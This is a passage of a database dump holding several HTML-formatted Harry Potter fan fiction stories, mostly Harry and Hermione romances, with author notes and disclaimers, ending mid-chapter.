to ask.<br><br>Hermione\'s \nlip was trembling, she couldn\'t find the words to express her thoughts. &quot; Is \nthis your idea of a joke?&quot; her voice crackled by the emotions.<br><br>Harry \ndidn\'t understand, &quot; what idea?&quot;.<br><br>Swiftly, she walked away from his desk, \ncloser to him. &quot; Look, I didn\'t want to get pregnant when I was fifteen, but it \nhappened&quot;.<br><br>Blast from the past. &quot; I know that, we went through this four- \nyears-ago&quot;.<br><br>&quot; So this engagement is nothing more than a fraud to \nyou?&quot;.<br><br>&quot; What? Of course not, I would never do that to you!&quot;.<br><br>She \ncouldn\'t bare looking at him, &quot; I had really great news for you, and I was on my \nway here to tell you&quot; tears dwelled in her eyes, Harry watched her very closely, \n&quot; and instead I find this&quot;.<br><br>Throwing a crumbled piece of parchment that \nhad been enclosed in her hand, Hermione brushed past him, out of the classroom. \nHarry wanted to go after her, but knew how Hermione was when she was mad. If he \nwas going to talk with her, he would have to know what had her like this in the \nfirst place.<br><br>Harry straightened the paper, smoothing out some of the \nwrinkles. He didn\'t recognize the handwriting, he didn\'t recognize the words. \nYes this note, was addressed to \nhim.<br><br><br><br><br><br><br><br>Harry,<br><br>This relationship would \ncontinue better if you just told Hermione the truth. We wouldn\'t have to keep \nanything a secret, and we wouldn\'t have to hide our true feelings. Maybe you \ndon\'t have to tell her, she doesn\'t have to know. She doesn\'t deserve to know. \nAll that matters, is that you\'re only mine, and she can live in her own little \nfantasy world for all we \ncare.<br><br><br><br>Love,<br><br>Abigail<br><br><br><br><br><br>He couldn\'t \nbelieve the words in front of his eyes, in which he had never seen before. It \nwas fake, the entire note was unreal. But he was the only one who really knew \nthat. As for Hermione, she thought the love of her life was having an affair \nwith Abigail Roslyn, the Charms professor.<br><br><br><br><br><br>~ This doesn\'t \nhave too much to do with the plot, but it\'s going to help. Let me know what you \nthink, and beware, for later chapters.~\n'),
	(188, 1, ' <br>\n\n\n<p>\n\n</p><p> Title: The Phoenix and the Griffin </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Author: Suzanne of Dragons Breath </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Summary: Year Seven: The Final Battle </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Rating: PG </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Disclaimer: I don\'t own Harry Potter or any of the characters mentioned in this fic. ::glares at lawyers:: Away put your lawyers I mean no harm. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Authors Notes: What can I say? It\'s the final battle. Maybe I\'ll write a prequel to this some day. Review and let me know what you think. Should I keep writing HP fics or should I just stick to POTS fics? *Note, this has not been betaed.* </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> ~*~ </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> The Great Hall was in shambles. The large house tables had been blown to pieces earlier in the day. In the midst of the destruction stood the Dark Lord. He Who Must Not Be Named. Voldemort. Tom Marvolo Riddle. In the middle of the scene of carnage he stood, laughing as he cast a spell to keep the students and staff from interfering with his battle with the Boy Who Lived. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry Potter glared at Voldemort, his scar burning his forehead. He looked at the girl, woman, he amended, that stood next to him, always faithful. &#8220;I wish you had left when you had the chance Hermione.&#8221; He said. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;I couldn\'t Harry. You need my help. You\'ll die if I don\'t when you cast the spell.&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> He sighed and brushed a kiss against her cheek. There was no arguing when she got that tone of voice. &#8220;Let\'s do it Mione.&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Avada Kedavra!&#8221; Voldemort called out, interrupting the two. The bright green light flew at them at an amazing speed. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Harry! NO!&#8221; Hermione called out, pushing him. But it was too late and the deadly green light surrounded them. The observers drew in a collective gasp. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Voldemort let out an evil laugh. He had won. He had killed the Boy Who Lived! </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> The light glowed bright for a moment before it rebounded, causing a hole to appear in the enchanted ceiling. In the middle of the Great Hall two figures knelt, facing each other, eyes closed. Their robes were tattered and torn, their hands laced together. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> They opened their eyes revealing emerald green and cinnamon brown irises that seemed to glow. They began to chant. &#8220;Earth, fire, air, water, we call on you to release the animagi spirits.&#8221; The chant crescendoed until a crack of thunder sounded and the building seemed to quake under the pressure. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Hermione and Harry collapsed to the ground, a faint silver shimmer surrounding them. A spirit seemed to exit from each body in a cloud-like form. The forms began to take shape. From Harry\'s cloud came a large black-feathered griffin and from Hermione\'s a phoenix burst into shape. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> The two creatures attacked Voldemort. A black object seemed to exit him. The eagle head on the griffin let out a loud cry as he dove to grasp Voldemort\'s body in his strong paws. Pumping his wings he took flight and flew out the hole in the ceiling and towards the sun. The phoenix grasped the black shape that left Voldemort and flew towards the ceiling as well. After she left the Great Hall she seemed to dip in the air and fly towards where the moon would be. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> The few Death Eaters that had not died in the original attack screamed and ran from certain death at the hands of the students and teachers to where they could leave Hogwarts. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Dumbledore pointed his wand to his throat. &#8220;Sonorous!&#8221; He said. &#8220;Prefects please lead the students back to the common rooms. Make sure to account for all students and inform your head of house of anyone missing.&#8221; He paused, pointing his wand to his throat again. &#8220;Quietus.&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> The headmaster looked at the destruction around him as the phoenix and griffin entered. They flew around the Great Hall before landing on the body they had left and seemed to melt into the person. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> The teachers approached the two fallen students. &#8220;Oh Albus! Could they still be alive, after performing such difficult magic?&#8221; Professor McGonagall asked. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Enervate.&#8221; Dumbledore said, pointing at the two. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> The eyelids on the two began to flutter before opening. The teachers let out a collective sigh of relief. Poppy Pomfrey ran to where they lay. She conjured two stretchers and proceeded to the hospital wing. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> ~*~Several Days Later~*~ </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Albus Dumbledore walked softly into the hospital wing where his Head Boy and Girl slept, recovering from the battle. His eyes twinkled as he crept closer. &#8220;Harry,&#8221; he said, sitting in a nearby chair. &#8220;I have a visitor for you.&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> A large black dog jumped onto Harry\'s bed and proceeded to drool and lick Harry\'s face. &#8220;Sirius! YUCK! Stop!&#8221; Harry called out. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Hermione sat up in her bed. &#8220;Really! The consideration of some people! I WAS sleeping.&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Giving up the attack on Harry Sirius moved to Hermione\'s bed and began licking her. &#8220;Enough Sirius, Enough! We\'re both here and we\'re both okay!&#8221; She exclaimed, pushing the exuberant &#8220;dog&#8221; off the bed. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;I just wish to inform you that Madame Pomfrey has released you so that you may attend the feast that is being held in your honor. Should anyone ask, Sirius or should I say Snuffles is a friend\'s dog that I am watching.&#8221; Dumbledore stood. &#8220;Excellent job Mr. Potter, Miss Granger. Thank you. I shall see you tonight.&#8221; He left, but not before giving Sirius a look as if to tell him to behave. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Moving out of his bed Harry moved next to Hermione. &#8220;We did it Mione. We defeated Voldemort.&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Hermione smiled. &#8220;Yes Harry. Yes we did. The school year is over and Voldemort is gone. Now what?&#8221; she laughed slightly. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Now, the future Hermione. I think it looks pretty bright right now.&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Me too Harry.&#8221; He leaned over and met her lips in a deep, loving kiss, becoming unaware of the dog that sat at their feet, observing them. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> `I promise you Lily and James. Harry and Hermione will get the chance that you never had. I swear it to you.\' Sirius sat next to the door where Harry and Hermione continued to kiss, his tongue lolling out the side of his mouth in a doggy grin. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> ~*~ END! ~*~ </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> I\'ll write a sequel or a prequel to this if I get enough requests. Don\'t forget to respond and let me know what you thought! </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Putting away my quill and ink for now, </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> ~*~Suzanne of Dragons Breath~*~ </p>\n\n<p>\n\n</p><p>\n\n</p> '),
	(189, 1, '\n\n<p>A Thousand and One Love Letters </p>\n<p>[LipSmacker]</p>\n<p>Disclaimers: Harry Potter is owned by J. K. Rowling and all the other big </p>\n<p>companies. Any similarities of names, places and situations are not intended. </p>\n<p>They are merely accidental.</p>\n<p>Chapter 1: 1001 Love Letters</p>\n<p>About a hundred -- no, make that a thousand owls swooped down the yard of the </p>\n<p>Manor. Being the prized seeker of one of the best quidditch teams in Europe had made </p>\n<p>Harry more popular than ever. Everyday he received about a hundred pieces of fan mail. But this, it was just record-breaking. Hermione and Ron were rooted on their spots, </p>\n<p>staring in awe at the thousand owls swooping down their yard. </p>\n<p>&quot;Bloody hell, Harry!&quot; Ron was the one who broke the silence. &quot;This is just&#8230; </p>\n<p>just&#8230;&quot;</p>\n<p>&quot;Absurd!&quot; Hermione finished for him, still gaping at their yard which is now </p>\n<p>covered with different shapes and sizes of letters. </p>\n<p>Harry could only just nod as he agreed with his two best friends. He could understand fifty, or let\'s say a hundred per day is alright, but a thousand?! It was just ridiculous. He stood beside them, his mouth still hanging open as he looked out at the sea of letters. </p>\n<p>Ginny jogged down the stairs to look for Harry, Hermione and Ron.</p>\n<p>&quot;Do you know, there\'s about a thousand owls out--&quot; but was cut off when she saw the condition of the yard. &quot;Oh. My God.&quot; Her eyes were as large as saucers. </p>\n<p>&quot;Hey Harry, Herm, Ron, Ginny!&quot; Then the shouting woman\'s hand flew to her mouth. </p>\n<p>&quot;Dear Lord! What\'s this?&quot; It was Gabrielle Shanton, another of their housemates. </p>\n<p>Ron pointed outside &quot;Fan mail.&quot; </p>\n<p>&quot;Oh my.&quot; That was all she could say.</p>\n<p>&quot;I\'m home!&quot; A voice called out from the foyer. &quot;Hey guys! What\'s up --- oh!&quot; </p>\n<p>This time, it\'s Andr&#233; Brendan. He\'s, well, another housemate.</p>\n<p>&quot;I know.&quot; Harry spoke for the first time. &quot;Help?&quot;</p>\n<p>_*_*_*_*_*_</p>\n<p>A thousand letters and two hours later, six people sat exhausted on the porch. </p>\n<p>&quot;Really, Harry. Next time you get a thousand love letters, gather them up on </p>\n<p>your own.&quot; Hermione wiped her brow.</p>\n<p>&quot;Wait. Look up.&quot; Andy pointed to the sky.</p>\n<p>Above them, a lone owl circled the sky. Then finally dropped a letter on Harry\'s </p>\n<p>lap.</p>\n<p>&quot;I guess, we were wrong: There aren&#8217;t a thousand, but a thousand and one.&quot; Ginny grabbed the letter, her nose crinkling in distaste at the glowing \'Will you marry me?\' in the letter. </p>\n<p>Harry looked horrified. This is getting way too ridiculous. A thousand and one!</p>\n<p>&quot;Come on Harry. Cheer up! It\'s not everyday you get a 1001 love letters.&quot; Ron grinned and everyone just burst out laughing.</p>\n<p>&quot;It\'s not funny.&quot; Harry snorted and promptly crossed his arms. </p>\n<p>And everyone just laughed harder. </p>\n<p>_*_*_*_*_*_</p>\n<p>The letters were brought inside a little while later. If gathered together, they formed a small mound the size of the living room couch.</p>\n<p>&quot;So, Harry. What are you going to do with them?&quot; Gabbie pointed at the heap of parchments.</p>\n<p>Harry shrugged.</p>\n<p>&quot;I don\'t really know,&quot; then flopped himself on the floor beside Gabbie.</p>\n<p>&quot;Well, Mr. Popular, these letters cannot stay here in the house.&quot; Hermione kicked a parchment that rolled away from the heap.</p>\n<p>&quot;You know, Harry, between the two of us, you\'re the one getting 1001 letters. Shouldn\'t you be a bit flattered?&quot; Ron asked him. Being a chaser on the same team as Harry, he gets fan mail&#8230; but not a 1001 pieces.</p>\n<p>&quot;I was at first. But 1001 is ludicrous! And if you read them, there\'s only one thing they want - and that is to marry me.&quot; Harry rolled his eyes.</p>\n<p>&quot;Don\'t you want that? Ladies falling at your feet, asking you to marry them?&quot; Andy grinned.</p>\n<p>Harry looked at Andy. &quot;You know I don\'t like that. I\'m not like you.&quot;</p>\n<p>&quot;Hey! There\'s nothing wrong with me.&quot; Andy protested as they all started laughing at him. Andy crossed his arms, a determined grin on his face. &quot;There\'s definitely nothing wrong with me.&quot;</p>\n<p>Ginny wiped her eyes. &quot;Okay, enough of that. Harry, what do you want to do now?&quot;</p>\n<p>Harry thought for a while. &quot;Uh&#8230; I really would want to escape from these letters. At least for a while.&quot;</p>\n<p>&quot;Then, what do you propose we do?&quot; Ginny leaned forward to hear her roommates&#8217; proposals.</p>\n<p>Hermione sat on the couch beside Andy. &quot;It\'s quite simple you know. We take Harry off the bachelor market.&quot;</p>\n<p>&quot;Umm&#8230; we what?&quot; Gabbie asked Hermione.</p>\n<p>&quot;We take him off the bachelor\'s market.&quot;</p>\n<p>Ron sat beside Hermione. &quot;And how do we do that?&quot;</p>\n<p>&quot;We\'ll get him a girlfriend.&quot; Hermione looked at Harry.</p>\n<p>&quot;A girlfriend. You\'re a genius Herm!&quot; Harry stood to hug Hermione.</p>\n<p>&quot;Well, could you just stop hugging me now?! I still need to breathe.&quot; Hermione detached herself from Harry. A smug smile plastered on her face. &quot;About the genius thing, I know. I get it all the time. And stop calling me Herm.&quot;</p>\n<p>Harry gave her a sheepish smile. &quot;So, who\'ll be my girlfriend?&quot;</p>\n<p>&quot;I know, I could set you up with some girls I know.&quot; Andy volunteered.</p>\n<p>&quot;No, we couldn\'t do that. This is just for pretend, right?&quot; Ron asked, and everybody nodded. &quot;So, we need someone who knows already about the plan.&quot;</p>\n<p>&quot;So that leaves us to three choices. Me, Hermione and Ginny. Why don\'t you do it, Ginny?&quot; Gabbie looked at Ginny, who had a confused look on her face. </p>\n<p>Ron shook his head. &quot;Nope. No can do. Best friend rules.&quot;</p>\n<p>&quot;Best friends what?&quot; Hermione asked Ron, a little puzzled. &quot;How come I don\'t </p>\n<p>know that?&quot;</p>\n<p>Ron patted Hermione\'s shoulders. &quot;Well, this is only for guy best friends. Best Friends&#8217; Rule no.10 states that \'Thou shalt not date thou&#8217;s Best Friend&#8217;s Sister &#8211; <i>especially </i>if she\'s younger than you.&quot;</p>\n<p>&quot;Oh come on Ron. You just made that up.&quot; Andy said.</p>\n<p>&quot;And what if I did? You got a problem with that?&quot; Ron sent Andy a pointed glare.</p>\n<p>Ginny then sat on the armrest next to Ron. &quot;Sorry Harry, I cannot help you with your dilemma now. Ron&#8217;s speaking for me.&quot;</p>\n<p>Harry smiled. It would be awkward to date Ginny, even just for pretend. Besides, she was like a sister to him. &quot;Hey, that\'s okay. Uh, Gabbie?&quot;</p>\n<p>Gabbie backed up a bit. &quot;No way, Mr. Potter! Also, I\'m seeing someone right now.&quot;</p>\n<p>&quot;Oooh. Who\'s the guy?&quot; Hermione leaned forward to face Gabbie.</p>\n<p>&quot;Ash.&quot; She simply stated.</p>\n<p>Andy looked surprised. &quot;Ash? Asher? You\'re seeing my brother?!&quot;</p>\n<p>&quot;You got a problem with that? You got roommate rules?&quot; Gabbie raised an eyebrow.</p>\n<p>&quot;Eh&#8230; no.&quot;</p>\n<p>&quot;Stop it, you two. Umm, Mione&#8230;&quot; Harry used the nickname they used if they need something from Hermione.</p>\n<p>Hermione\'s eyes widened. Why did she have to propose this plan? &quot;Not me! Back up there a minute Harry!&quot; then, she looked around. Seeing the expectant looks she was getting, she surrendered to her fate. &quot;I don&#8217;t really have a choice, do I?&quot;</p>\n<p>&quot;Uh-uh.&quot; Everybody\'s face lit up.</p>\n<p>Hermione heaved a sigh. &quot;Fine.&quot; Then, Harry proceeded to hug Hermione while shouting &quot;Thank You!&quot;</p>\n<p>&quot;Me and my stupid plans&#8230;&quot; Hermione muttered.</p>\n<p>AN: This is my first HP fic. Tell me what you think&#8230;.</p>\n<p>&nbsp;</p>\n\n'),
	(189, 2, '\n\n<p>Chapter 2: There goes the rumor mill...</p>\n<p>&quot;Have you heard?&quot; The blonde waitress nudged her co-worker.</p>\n<p>&quot;Heard what?&quot; The brunette turned to look at the blonde</p>\n<p>The blonde looked surprised. &quot;You mean, you haven\'t?! Amelia, it\'s the talk of the wizarding world.&quot;</p>\n<p>&quot;Oh come on Idania, spill. You know I don\'t like to be the last to know.&quot; Amelia shot her friend an irritated look.</p>\n<p>&quot;Well,&quot; Idania took a deep breath before continuing. &quot;Harry Potter has got himself a girlfriend.&quot;</p>\n<p>Amelia\'s hand flew to her mouth. &quot;No way! You\'ve got to be kidding.&quot;</p>\n<p>&quot;Of course not. You know I wouldn\'t lie about stuff like this.&quot; She crossed her arms in front of her.</p>\n<p>&quot;Do you know who the lucky woman is?&quot; Amelia leaned forward, eager to know the juiciest news.</p>\n<p>Idania\'s smile widened, she liked to know everything before everyone else. &quot;Hermione Granger.&quot;</p>\n<p>Her eyes widened at the revelation. &quot;Get outta here! Hermione Granger?&quot;</p>\n<p>&quot;The one and the only.&quot; Idania grinned.</p>\n<p>&quot;Dear Lord, bless that woman! She found the cure for one of the worst diseases in the wizarding world. I mean, she practically saved my mother with that cure. Is she really?&quot;</p>\n<p>Idania nodded. &quot;I heard, they were best friends and it just went from there. Isn\'t that sweet?&quot;</p>\n<p>&quot;Definitely. I can\'t believe he already has a girlfriend....&quot; The conversation faded as the two waitresses entered the kitchens.</p>\n<p>*-*-*-*-*-*</p>\n<p>Gabbie smiled to herself. \'Well, that worked. Time for Plan B.\' </p>\n<p>Her smile widened as she walked down the cobblestone path in Diagon Alley. She stopped every now &amp; then to buy some things for Plan B, the wide grin never leaving her face.</p>\n<p>She arrived at the manor in less that two hours. (which is very short, if you are a woman and you\'re shopping.) Different sorts of packages in both hands. &quot;Oh Hermione! Where are you?&quot; Gabbie called.</p>\n<p>Ginny poked her head out from the kitchen. &quot;Not here. She\'s still in the office.&quot;</p>\n<p>&quot;Damn!&quot; Gabbie\'s face fell. &quot;Did she tell you what time she\'ll be home?&quot;</p>\n<p>&quot;Nope, sorry. What you got here?&quot; Ginny went to where Gabbie was standing.</p>\n<p>She had her wide grin again. &quot;Something for Plan B.&quot;</p>\n<p>&quot;Plan B?&quot; Ginny stopped peeking at the packages. &quot;You mean, you\'ve finished Plan A already?! That was fast.&quot;</p>\n<p>&quot;Well, you know... rumor spreads like the common cold. Fast and hard to cure.&quot;</p>\n<p>Ginny grinned and held out her hand. &quot;Well then, I commend you Gabrielle Shanton for the good execution of the plan.&quot;</p>\n<p>&quot;Thank you very much, Virginia Weasley.&quot; Gabrielle took the proffered hand.</p>\n<p>And they both burst out laughing.</p>\n<p>*-*-*-*-*-*</p>\n<p>&quot;Are you sure about this?&quot; Hermione adjusted the skirt she was wearing.</p>\n<p>&quot;I\'m not a fashion expert extraordinaire for nothing may I remind you, Miss Granger.&quot; Gabbie tilted her head to the side. Gabbie was an up and coming fashion designer in the wizarding world. And she\'d been getting a lot of positive raves from the top fashionistas around.</p>\n<p>Hermione flashed Gabbie a smile. After all, she couldn\'t argue with her, Gabbie really has a good fashion sense. The dress she was wearing was a Muggle cocktail dress. Muggle clothing was quite the fad in the wizarding world, despite protests from some people. But the designers, especially the avant-garde ones, decided to pursue designing Muggle clothing. And Gabbie was one of them. </p>\n<p>Hermione sighed. The dress was really beautiful but she wasn\'t really comfortable wearing these dresses. She\'s usually in office attire, other than that, she was the shirt and jeans kind. </p>\n<p>Gabbie finished tying the bow on Hermione\'s right shoulder. &quot;Now, do a 360 for me.&quot;</p>\n<p>&quot;A what?&quot; Hermione looked confused.</p>\n<p>&quot;Darlin\', a 360 is when I want you to do a little spin for me. I want to see how the dress fits you.&quot;</p>\n<p>Hermione did a turn and Gabbie just clapped in glee. The dress is a black halter-top dress with some delicate embroidery at the hem. Then a smocked detailing at the neckline forming a gentle ruffle around the bodice and the halter ties in a bow on the right shoulder. </p>\n<p>&quot;Really, Herm, you should model for me in my next fashion show.&quot; Gabbie sat on Hermione\'s bed. </p>\n<p>Hermione cocked an eyebrow. &quot;Me? Are you on drugs or something?&quot;</p>\n<p>&quot;Drugs?! Are you crazy?&quot; Gabbie stood up.</p>\n<p>&quot;Well, you are crazy. Asking me to model. Honestly. And stop calling me Herm.&quot; Hermione snorted.</p>\n<p>&quot;Whatever. But you do look fantastic. And I\'ll give you sometime to think about my proposal.&quot; Gabbie winked and handed Hermione the matching handbag. &quot;Now, let\'s just stop our conversation here. Your lover boy is waiting downstairs.&quot;</p>\n<p>&quot;Tell me again why did agree on doing this?&quot; Hermione stuck her lower lip out.</p>\n<p>Gabbie stopped walking, and faced Hermione. &quot;Because, it\'s your plan silly! Remember? It\'s quite simple... we\'re going to get him a girlfriend. Now, we got him one. And would you just stop that, it\'s ruining your make-up.&quot;</p>\n<p>&quot;Fine, it\'s my fault. But this? Do I really have to do this?&quot; Hermione gestured to her hair and dress.</p>\n<p>Gabbie sighed. &quot;Of course. No one would believe if it\'s just rumors. Rumors die down eventually, you know. They need to see, to believe. Plus, you promised to help Harry.&quot;</p>\n<p>&quot;Oh alright! You win!&quot; Hermione held up her hands in surrender.</p>\n<p>Gabbie flashed her wide grin. &quot;Now, let\'s go to Harry.&quot;</p>\n<p>*-*-*-*-*-*</p>\n<p>&quot;What\'s taking them so long?&quot; Harry paced the living room for the zillionth time that night.</p>\n<p>&quot;Hey! Could you just sit down for a while? I\'m beginning to get dizzy from all your pacing.&quot; Andy shifted in his seat, they\'d been waiting for 2 hours now and Hermione still hadn\'t come down.</p>\n<p>Ron came out of the kitchen carrying a glass of orange juice in one hand. &quot;You know, Andy is right. Walking around the living room will just wrinkle your suit.&quot;</p>\n<p>&quot;I\'m done with the reservation. They got you the table with the best view.&quot; Ginny emerged from the study. </p>\n<p>Ron nodded. &quot;Good, good. Now, we wait for Hermione.&quot;</p>\n<p>&quot;Ginny, stop smiling like that.&quot; Harry shot her an irritated look.</p>\n<p>&quot;What? I\'m not doing anything.&quot; Ginny continued her I-know-something-you-don\'t-know smile.</p>\n<p>Ron turned to look at his sister. &quot;What do you know?&quot;</p>\n<p>Ginny switched to an innocent expression. &quot;Sorry, I don\'t know anything.&quot;</p>\n<p>&quot;Oh come on, Gin. You know something, it\'s practically written all over your </p>\n<p>face ---&quot; Andy was cut off by Harry\'s sharp intake of air. He turned to look at what Harry is looking, no... staring at. And his jaw promptly fell.</p>\n<p>&quot;Hermione...&quot; Harry breathed. This was more than the surprise that Harry got from Hermione since the Yule Ball in fourth year. Hermione\'s hair fell around her shoulders, framing her face. The soft curls made Harry want to run his hands through her hair. And the dress, perfect. In short, she looked stunning. </p>\n<p>Gabbie\'s laugh cut Harry\'s reverie.</p>\n<p>&quot;Andy, you could close your mouth now. You too, Ron.&quot; Gabrielle laughed again. &quot;Well, what do you think of my masterpiece?&quot;</p>\n<p>&quot;Harry, after you finished dating Hermione... could I date her?&quot; Andy pointed at Hermione.</p>\n<p>&quot;Andy! What are you talking about?&quot; Hermione glared at him.</p>\n<p>&quot;What? Can\'t I date a gorgeous woman?&quot; Andy grinned.</p>\n<p>Ginny slapped Andy\'s arm playfully. &quot;Stop flirting with her. She\'s Harry\'s girlfriend now, remember?&quot;</p>\n<p>&quot;Whatever.&quot; Andy snorted.</p>\n<p>Ron walked over to Hermione. &quot;You look amazing!&quot;</p>\n<p>&quot;Thank you.&quot; she smiled shyly. &quot;Harry?&quot; Hermione moved forward.</p>\n<p>Harry cleared his throat. &quot;I... I don\'t know what to say. You look wonderful.&quot;</p>\n<p>Hermione felt color rising to her cheeks, but said nothing.</p>\n<p>Harry turned to look at their housemates. &quot;Well, we best go on our way now. Wish us luck!&quot;</p>\n<p>&quot;Good luck!&quot; they chorused.</p>\n<p>Harry grinned and offered his arm, which Hermione gladly took. With one last look on their housemates, they promptly disapparated. </p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>AN: If you can\'t visualize Hermione\'s dress, follow this link: </p>\n<p>http://www.edressme.com/rigbowcocdre.html </p>\n<p>Tell me what you think.... Review!</p>\n\n'),
	(191, 1, '\n<p><b>Its Curious<br>\n  </b> Written By: Andrea Stacy<br>\n  Rating: G<br>\n  Harry\'s thoughts after Hermione\'s goodbye kiss at the end of GoF.<br>\n  Harry\'s POV. Post GoF.<br>\n</p>\n<p> Disclaimer: I DO NOT own Harry Potter, or any of its characters. I am simply \n  a fan, expressing my love for the stories, and its characters through this fanfic... \n</p>\n<p> Authors note: Please Read and Review! This story is from Harry\'s point of \n  view after GoF. Hope you all like it! :) </p>\n<p> </p>\n<p> Its Curious... </p>\n<p> Its curious. What shes done to me. That simple gesture, that one act of kindness. \n  Everything changed. How could something so simple change a person so much? How \n  can something so simple touch a person so much? Its curious. </p>\n<p> And then there is the question of why? i know its silly, but I find myself \n  asking just that. Was it simply out of friendship, out of happiness that I am \n  safe, or was it something more? Was it because she sees me more than just a \n  \'friend\', or \'brother\' could it be possible? </p>\n<p> I didnt used to think like this. Things used to be much more simple. I had \n  my best friend, and then there was her. She was the bookworm I always ran to \n  when I couldnt figure things out for myself. I ran to her for advice. She was \n  like a sister to me. Then in an instant everything changed. </p>\n<p> I have never had a so called \'happy life\', infact before her I had never even \n  been hugged that I could actually remember. She gave me my first. At that time \n  I didnt consider it to be more than out of friendship. But this time. This time \n  its different. It feels different. </p>\n<p> I still feel a slight tingle on my cheek when I think about it. When I think \n  of that moment that changed everything for me. She leaned over and did something \n  she has never done before. She kissed me, and with that kiss stole my heart. \n</p>\n<p> Its curious these things I\'m feeling. Suddenly I am afraid of my bestfriend. \n  Afraid of losing her, afraid of change. Me afraid? Yes it happens. Most people \n  when they look at me dont really see me at all. They see \'Him\'. The-boy-who-lived, \n  brave Harry Potter. But not her. When she looks at me, she doesnt see \'Him\', \n  she sees me. The real me, and I think she likes it. </p>\n<p> Change. I know that its bound to happen, but things were always so perfect. \n  Now everything is different. The way I see her, how I feel. What if it was all \n  out of friendship? What if she doesnt feel for me? What will I do then you ask? \n  I will go on, and try my best to keep our friendship. It is to precious to me. \n  I know that it would be hard, but I sincerly I will try. I may love her, but \n  I do not want to lose over that. </p>\n<p> Love her? Thats what I just thought... Now thats curious. I have never thought \n  that thought about anyone in that way before. Do I love her? Maybe. </p>\n<p> Its curious, what shes done to me. With that simple gesture... </p>\n<p align="center"> END </p>\n\n\n'),
	(192, 1, ''),
	(192, 2, ''),
	(193, 1, '\n\n<p class="MsoNormal"><b><i>&nbsp;&#8220;The-boy-who-possessed-ancient-magic.&#8221; </i></b></p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal"><b><i>Summary: The-boy-who-lived is being subjected to \nvarious changes that would one day change the fate of Wizarding World. However, \npetty teenager conflicts can harm the greatest of minds and Harry finds out that \nin the age of Mass Freedom, his best friend is still very conservative. </i></b>\n</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">Rating: PG.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">A.N: Just read and enjoy. </p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">**********</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">Harry sat up in his bed abruptly. He has been having \nnightmares about Voldemort lately .But nowadays, they had become more intense. \nHe always happened to see the night of the Third task of TriWizard Tournament, \nwhen he has been taken to Voldemort with the help of Barty Crouch. Voldemort was \nresurrected that day from his blood. He couldn&#8217;t forget the voice of Voldemort \nordering Wormtail aka Pettigrew to kill Cedric. He still blamed himself for \nCedric&#8217;s death. Sirius had desperately tried to force the idea out of his mind \nthrough his letters but Harry just couldn&#8217;t get the point. Dursleys were as bad \nas ever. Dudley had not missed a single chance to harass Harry. He hadn&#8217;t \nreceived any letters from any of his friends.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Now that Voldemort has resurrected, there was \nten times more danger to Harry&#8217;s life than ever before. Sirius had advised Harry \nto remain alert all time for any invasion of the Death Eaters. Though till now, \nthere was none. But Harry was sure that once Voldemort gained power, which he 